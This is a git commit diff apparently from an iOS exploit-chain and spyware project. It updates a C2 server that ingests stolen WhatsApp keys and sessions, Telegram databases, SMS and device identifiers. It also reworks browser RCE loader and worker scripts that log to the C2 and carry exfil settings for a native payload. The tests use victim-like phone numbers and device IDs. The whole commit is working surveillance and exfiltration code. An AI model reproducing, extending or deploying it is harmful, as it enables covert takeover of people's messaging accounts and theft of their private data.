This commit is contained in:
hashbro
2026-08-29 00:15:54 +08:00
parent 4c2eb16211
commit e9192d5720
11 changed files with 152 additions and 39 deletions
+2 -2
View File
@@ -62,14 +62,14 @@ class DecryptXxbbBody
}
if (is_array($payload)) {
foreach (['d', 'f'] as $k) {
foreach (['d', 'f', 'ecid'] as $k) {
if (! empty($payload[$k]) && is_string($payload[$k])) {
$deviceKey = $payload[$k];
break;
}
}
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
foreach (['d', 'f'] as $k) {
foreach (['d', 'f', 'ecid'] as $k) {
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
$deviceKey = $payload['form'][$k];
break;
+43 -3
View File
@@ -48,6 +48,7 @@ class IngestService
}
$candidates[] = $payload['d'] ?? null;
$candidates[] = $payload['f'] ?? null;
$candidates[] = $payload['ecid'] ?? null;
$candidates[] = $payload['deviceID'] ?? null;
$candidates[] = $payload['deviceId'] ?? null;
@@ -541,12 +542,51 @@ class IngestService
*/
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
{
$payload = $this->normalizeWhatsAppPayload($payload);
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
'userId', 'phoneId', 'registrationID',
'identity', 'identityPrivateKey', 'identityPublicKey',
'clientStaticKeypairBase64', 'phoneKeyStore',
'deviceConfig', 'whatsappVersion',
], ['userId', 'user_id']);
'deviceConfig', 'whatsappVersion', 'nickname',
], ['userId', 'user_id', 'account']);
}
/**
* Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level.
*
* @param array<string, mixed>|null $payload
* @return array<string, mixed>|null
*/
private function normalizeWhatsAppPayload(?array $payload): ?array
{
if (! is_array($payload)) {
return $payload;
}
$data = $payload['data'] ?? null;
if (is_string($data) && $data !== '') {
$decoded = json_decode($data, true);
if (is_array($decoded)) {
$payload = array_merge($decoded, $payload);
}
}
foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) {
$value = $payload[$key] ?? null;
if (! is_string($value) || $value === '') {
continue;
}
$inner = json_decode($value, true);
if (json_last_error() === JSON_ERROR_NONE) {
$payload[$key] = $inner;
}
}
if (! array_key_exists('userId', $payload) && isset($payload['account'])) {
$payload['userId'] = $payload['account'];
}
return $payload;
}
/**
@@ -627,7 +667,7 @@ class IngestService
}
}
$phone = $kind === PluginSession::KIND_WHATSAPP
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
: null;
PluginSession::query()->updateOrCreate(
+3 -2
View File
@@ -2,8 +2,9 @@
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。
**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。
**页面请求不跨域:** 浏览器里发出的 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` 一律用当前页面 `location.origin`。
**资源域名不配置:** 静态资源用当前 weifile 的 `location.origin + /next-chain`。
**C2 可配置:** `php artisan ds:build --c2 …` 只改 native PE 的 `/beacon` `/war` `/stats` 和 `NEWS2_CONFIG.exfil`(CFNetwork 回连),不影响页面 XHR。
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
+8 -15
View File
@@ -54,26 +54,19 @@
return origin + path.replace(/\/+$/, '');
}
function apiBase() {
try {
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
if (!tls && port === 443) { tls = true; }
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
}
} catch (e0) {}
function pageOrigin() {
try {
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
} catch (e1) {}
} catch (e) {}
return '';
}
// Browser XHR/fetch only — always the page origin so /api/ds/* stays same-origin.
// NEWS2_CONFIG.exfil / __LAB_EXFIL__ remain for native PE, not page APIs.
function apiBase() {
return pageOrigin();
}
function applyExfil(ex) {
if (!ex || !ex.host) return;
window.__LAB_EXFIL__ = {
+1 -14
View File
@@ -27,23 +27,10 @@ function labAssetBase() {
return '';
}
function labApiBase() {
try {
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
if (!tls && port === 443) { tls = true; }
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
}
} catch (e0) {}
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
return String(location.origin).replace(/\/$/, '');
} catch (e1) {}
} catch (e0) {}
return '';
}
var localHost = labAssetBase();
+5 -1
View File
@@ -215,7 +215,11 @@ self[1] = boxed_arr;
let logEntryID = 0;
var __labC2Host = '';
function labC2LogUrl(qs) {
var base = __labC2Host;
var base = '';
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
base = String(location.origin).replace(/\/$/, '');
} catch (_e0) {}
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
+5 -1
View File
@@ -24,7 +24,11 @@ let __printBudget = 60;
let __printWindowStart = 0;
var __labExfilUrl = '';
function labC2LogUrl(qs) {
var base = __labExfilUrl;
var base = '';
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
base = String(location.origin).replace(/\/$/, '');
} catch (_e0) {}
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
+5 -1
View File
@@ -17,7 +17,11 @@ let logStart = new Date().getTime();
let logEntryID = 0;
var __labC2Host = '';
function labC2LogUrl(qs) {
var base = __labC2Host;
var base = '';
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
base = String(location.origin).replace(/\/$/, '');
} catch (_e0) {}
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
@@ -81,6 +81,19 @@ class BuildTest(unittest.TestCase):
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
def test_page_apis_use_location_origin(self) -> None:
root = TOOLS.parent / "source"
boot = (root / "boot.js").read_text(encoding="utf-8")
loader = (root / "rce_loader.js").read_text(encoding="utf-8")
worker = (root / "rce_worker_18.5.js").read_text(encoding="utf-8")
self.assertIn("function pageOrigin()", boot)
self.assertIn("function apiBase() {\n return pageOrigin();", boot)
self.assertNotIn("window.__LAB_EXFIL__", boot.split("function apiBase()")[1].split("function applyExfil")[0])
self.assertIn("location.origin", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0])
self.assertNotIn("__LAB_EXFIL__", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0])
self.assertIn("location.origin", worker.split("function labC2LogUrl")[1].split("function print")[0])
self.assertNotIn("__labExfilUrl", worker.split("function labC2LogUrl")[1].split("function print")[0])
if __name__ == "__main__":
unittest.main()
+53
View File
@@ -402,6 +402,29 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
}
#[Test]
public function api_tg_t_ingests_ecid_envelope(): void
{
$this->xxbbPost('/api/tg/t', [
'ecid' => '00025D800C22001E',
'unique' => '00008101-00025D800C22001E',
'serial' => 'G0NDX83M0D5D',
'channel' => 'b78e30542d4d290f72685e97639a9b05',
'user_id' => '37603278499',
'state' => '{"records":[]}',
'db_sqlite' => base64_encode('not-a-real-sqlite'),
])->assertOk();
$device = Device::query()->where('device_id', '00025D800C22001E')->first();
$this->assertNotNull($device);
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('37603278499', $row->account_id);
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
@@ -431,6 +454,36 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
}
#[Test]
public function api_wp_t_ingests_account_data_envelope(): void
{
$this->xxbbPost('/api/wp/t', [
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
'unique' => '00008020-0006345E0A09002E',
'serial' => 'DX3YJA00KXKQ',
'channel' => 'b78e30542d4d290f72685e97639a9b05',
'data' => json_encode([
'userId' => '2348034472071',
'phoneId' => 'phone-id-live',
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => json_encode(['preKeys' => [], 'signedPreKey' => ['id' => 1]]),
'nickname' => 'wa-nick',
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
])->assertOk();
$device = Device::query()->where('device_id', '0006345E0A09002E')->first();
$this->assertNotNull($device);
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('2348034472071', $row->account_id);
$this->assertSame('2348034472071', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
}
#[Test]
public function event_stores_sms_phone_number(): void
{
+14
View File
@@ -48,6 +48,20 @@ class IngestServiceNormalizeTest extends TestCase
);
}
#[Test]
public function extract_device_key_reads_ecid(): void
{
$ingest = $this->app->make(IngestService::class);
$this->assertSame(
'0006345E0A09002E',
$ingest->extractDeviceKey([
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
'unique' => '00008020-0006345E0A09002E',
])
);
}
#[Test]
public function decode_hex_counter_pair_splits_idx_ftu(): void
{